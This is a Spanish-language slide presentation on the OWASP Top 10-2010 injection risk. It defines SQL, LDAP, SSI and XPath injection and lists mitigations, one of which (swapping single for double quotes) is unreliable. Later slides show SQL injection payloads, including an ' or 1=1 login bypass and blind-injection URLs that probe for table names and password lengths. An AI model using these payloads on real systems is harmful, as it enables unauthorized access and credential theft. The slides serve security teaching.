11
Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela Usuga G.

Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Embed Size (px)

Citation preview

Page 1: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010

A1-Inyección

Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela Usuga G.

Page 2: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

A1 –Inyección

El atacante envía texto que se aprovecha de la sintaxis del interprete de destino

Casi cualquier fuente de datos puede ser un vector de la inyección

Las fallas de inyección se producen cuando una aplicación envía los datos no confiables a un interprete (SQL,LDAP,Xpath,etc)

Las fallas de inyección son muy frecuentes

Inyección de código SQL

La inyección de código SQL es una técnica de ataque usada para explotar sitios web que construyen sentencias SQL a partir de entradas facilitadas por el usuario.

 

Page 3: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Inyección LDAP

La inyección LDAP es una técnica de ataque usada para explotar sitios web que construyen sentencias LDAP a partir de datos de entrada suministrados por el usuario.

Inyección de código SSI

La inyección de código SSI (Server-side Include) es una técnica de explotación en la parte servidora que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web.

Inyección Xpath

La inyección XPath es una técnica de ataque utilizada para explotar sitios web que construyen consultas Xpath con datos de entrada facilitados por el usuario.

Page 4: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Como evitar

ASIGNACION DE MÍNIMOS PRIVILEGIOS. VALIDAR  TODAS LAS ENTRADASEMPLEO DE PROCEDIMIENTOS ALMACENADOSUTILIZAR COMILLAS DOBLES EN LUGAR DE SIMPLES

Page 5: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Pruebas

Las pruebas de inyección se enfocaron en:

Ataques a ciegasUna comilla’Una condición verdadera

Page 6: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Una condición verdadera

 ' or 1=1 limit 1,1 -- a

Se ingresa en ambos campos la misma sentencia

Page 7: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Da la posibilidad de acceder a todos los

perfiles como proveedor

Page 8: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Una comilla’

Ingreso en la URL una comilla sencilla

Debería aparecer un mensaje de error y en el caso de ser vulnerable los campos de usuario y

contraseña

Page 9: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Ataques a ciegas (Blind SQL injection)

http://example/article.asp?ID=2+and+1=1

Trae la misma pagina porque la sentencia and

1=1 es verdadera pero si cambia 1=0 y genera error puede encontrar

vulnerabilidad

Page 10: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

http://example/article.asp?ID=2 and (select count (*) from login)

Inicio adivinado el nombre de la tabla y luego cada uno de los campos (*)

IdUserPaswoord

and (select lenght (paswoord)from login where id =3)

Hallamos la longitud del id =3

and (select lenght (paswoord)from login where id =3)=7

Hallamos la longitud del paswoord=7

and (select lenght (user)from login where id =3)=25

Hallamos la longitud del user=25

Page 11: Los Diez Riesgos Más Importantes en Aplicaciones WEB Top 10-2010 A1-Inyección Oscar William Monsalve Luis Alberto Suarez Jorge Eliecer Betancur Diana Marcela

Fin de la presentación

GRACIAS !!